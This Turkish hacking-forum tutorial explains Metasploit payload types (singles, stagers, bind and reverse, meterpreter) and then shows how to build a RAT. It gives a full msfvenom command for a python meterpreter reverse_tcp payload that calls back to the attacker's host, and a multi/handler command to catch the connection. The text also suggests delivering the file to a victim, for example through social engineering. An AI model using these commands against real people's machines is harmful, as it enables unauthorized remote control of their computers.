Payload Nedir? //Stajyer\\ - Turkhackteam.org/net - Ethical Hacking & Cyber Security Platform
Payload Nedir? //Stajyer\\
Bugün sizlere payload nedir nasıl kullanılır ve çeşitleri nelerdir sorularına cevap niteliğinde bir konu anlatımı yapacağım.
Eğer métasploitin bulunduğu dosya dizinine bakarsanız payloadların bizim ilk olarak görmediğimiz kısımları görebiliriz.
Adındanda anlaşılacağı üzere bu payloadlar kendi başlarına işlerini halledebilirler.
Diğer payloadlar başka gereksinimleri olurken bunların sadece kendi başlarına çalışılcağı anlatılmıştır.
Ve farkederseniz bu payloadların sadece baş kısmında / bulunur oda işletim sistemini belirtmek içindir.
Bu payloadlar çalışmak için zorunlu olarak bir platform isterler. Örn: meterpreter, shell
Ve bunlar tek başlarına çalışamadığından dolayı başka yerlerden dosyalarını alırlar, bu yüzdende boyutları singles payloadlara oranla daha küçüktür.
Soldaki Stragers payload sağdaki ise Singles paylaod.
Ve tabikide payloadların içerisinde 2 tane / bulunur ilk kısım işletim sistemini belirtirken, ikinci kısım oynatılcak platformu gösterir.
Métasploitte payloadlara bakarken bu payloadların farkını şöyle görebiliriz.
Kırmızı ile işaretlediğim yerlerde platformu ayırmamışlar ve buda onun Singles payload olduğunu gösterir.
Yeşil ile işaretlediğim yerlerde platform / ile ayrılmış buda kendisini Stagers payload olduğunu çıkartır.
Stagers payloadlar çalışmak için belli bir platform isterler.
Bu platformuda Stages payloadlar karşılar.
Tabi siz bu dosyalara baktığınızda reverse, bind gibi dosyalarala karşılaşmıyacaksınız.
Payloadlarda Cevap Alma Çeşitleri
Hedef cihaza sızabilmek için payloadımızı gönerip etkinleştirebilmemiz gerekmekte.
Bu etkinleştirmeler ikiye ayrılıyor.
Karşı tarafta belli bir açık port vardır.
Ve bu portu kullanarak karşı tarafa dosya yönlendirilir ve kendi seçtiğimiz portumuzla ve karşı tarafın portuyla iletişime geçilir.
Bunun sonucunda karşı tarafın port nekadar bize bilgi vermek için çalışsada kendi portunu erişilmez kılar ve bu bizim için gizliliği yitiren bir haraket olur.
Ancak bundaki etkileşim diğer seçeneğe oranla daha hızlıdır.
Çünkü: Karşı taraftan belli bir gönderi beklemek zorunda değiliz ve dosyayı yolladığımız gibi açılacaktır.
Bir bind payloadın kullanıldıktan sonraki çıktısı böyledir.
Muhtemelen ilk bu işlere girdiğinizde kullandığınız ilk payload türü olacaktır.
Karşı tarafa herhangi bir iletişim aracılığı(Flash bellek, Servis açığı vb.) ile gönderilerek çalışması beklenir.
Bu işlemler olurken saldırganda arkadan bu geri dönüşü yakalamak için bir handler çalıştırılır(multi/handler).
Geri dönüş yapılmadığı ve kapatılmadığı sürece beklemede kalır.
Genelde sosyal mühendislik saldırılarında karşılaşılır bu yöntem.
Bind payloadda olduğu gibi hedefin belli bir portundan cevap beklemez ve bizim ayarladığımız portumuza düşer.
Böylece herhangi bir servis kesilmesi söz konusu olmaz.
Ama diğerine oranla daha yavaş gerçekleşir.
Çünkü: Karşı taraf dosyayı kendisi çalıştırana dek bekler.
Bir reverse payload kullanımından sonraki çıktı böyle olur.
Tüm payloadların belli bir çalışma mantığı olduğu gibi belli birde kullanımı vardır.
(Burada ikiden fazla payload türü bulunur ancak ben sizin en çok kullanıcağınız 2 tanesini aldım)
Bu payload çeşidimiz bir dll injection çeşidi olup RAM üzerinde çalışır.
RAM üzerinde çalıştığından ötürü hiç bir şekilde kalıntı bırakmaz.
Ancak bilgisayar kapatılıp açıldığında bağlantınızı yeniden tazelemeniz gerekecektir.
Size shell payloadından daha fazla seçenek sunup daha kullanışlıdır.
Shell payload size cihazın konsoluna erişim hakkı sağlar.
Ayriyetten başka bir özelliği de yoktur.
Payload ile RAT Hazırlama
Uzun hali Remote Access Trojan olan, karşı tarafa erişim sağlayıp istediklerimizi yapmamızı sağlayan virus çeşididir.
Métasploitimizin içinde gelen payloadlarla rahatlıkla bir RAT oluşturabiliriz.
Bunun için msfvenom aracını kullanabiliriz.
msfvenom aracı aslında ilk zamanlarda olmayıp msfpayload ve msfencoder araçlarının karışımıyla oluşmuştur.
Ozaman hazırlamaya başlayalım.
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.25 lport=4444 R > Masaüstü/RAT.py
-p parametresi payload seçmek istiyorum anlamına gelmekte.
python/meterpreter/reverse_tcp seçilen payload.
python kısmına başka sistemlerde eklenebilir.[android, cmd, firefox, java, linux, osx, php, ruby, windows]
meterpreter kısmı payloadımızın türüdür.[shell, meterpreter vs.]
reverse_tcp kısmı bağlantı şeklidir. [reverse_http, reverse_ipv6_tcp]
lhost ile kendi ip adresimizi belirliyoruz.
lport ile kendi istediğimiz portu belirliyoruz
R ile bu RAT dosyasının kodlarını konsola basmasını söylüyoruz.
> Masaüstü/RAT.py kısmı çıkan çıktıyı şuraya şöyle kaydet olarak belirliyoruz.
Evet yaptığımız RAT masaüstüne geldi.
Biz bunu bir yolunu bulup hedefe atmamız lazım.
Ancak bundan önce métasploitte handler çalıştıralım ki gelen bağlantıyı tutabilelim.
msfconsole -x "use multi/handler; set payload python/meterpreter/reverse_tcp; set lhost 192.168.1.25; set lport 4444; exploit"
Böyle yaparak tek komutla handlerimizi başlattık.
Şimdi tek yapılması gereken oluşturduğumuz RAT dosyasının açılması.
Evet böylecede karşı tarafa RATımızı yedirmeyi başardık ve bilgisayarını kontrol edebiliriz.
Okuduğunuz için teşşekkür ederim
Eğer beğendiseniz teşşekkür atmayı unutmayın.
Diğer konularıma burdan ulaşabilirsiniz:
_MaC_, ilkbey43, ByTurko turk Teşekkür etti.
Eline Sağlık. Çok Güzel Anlatım olmuş.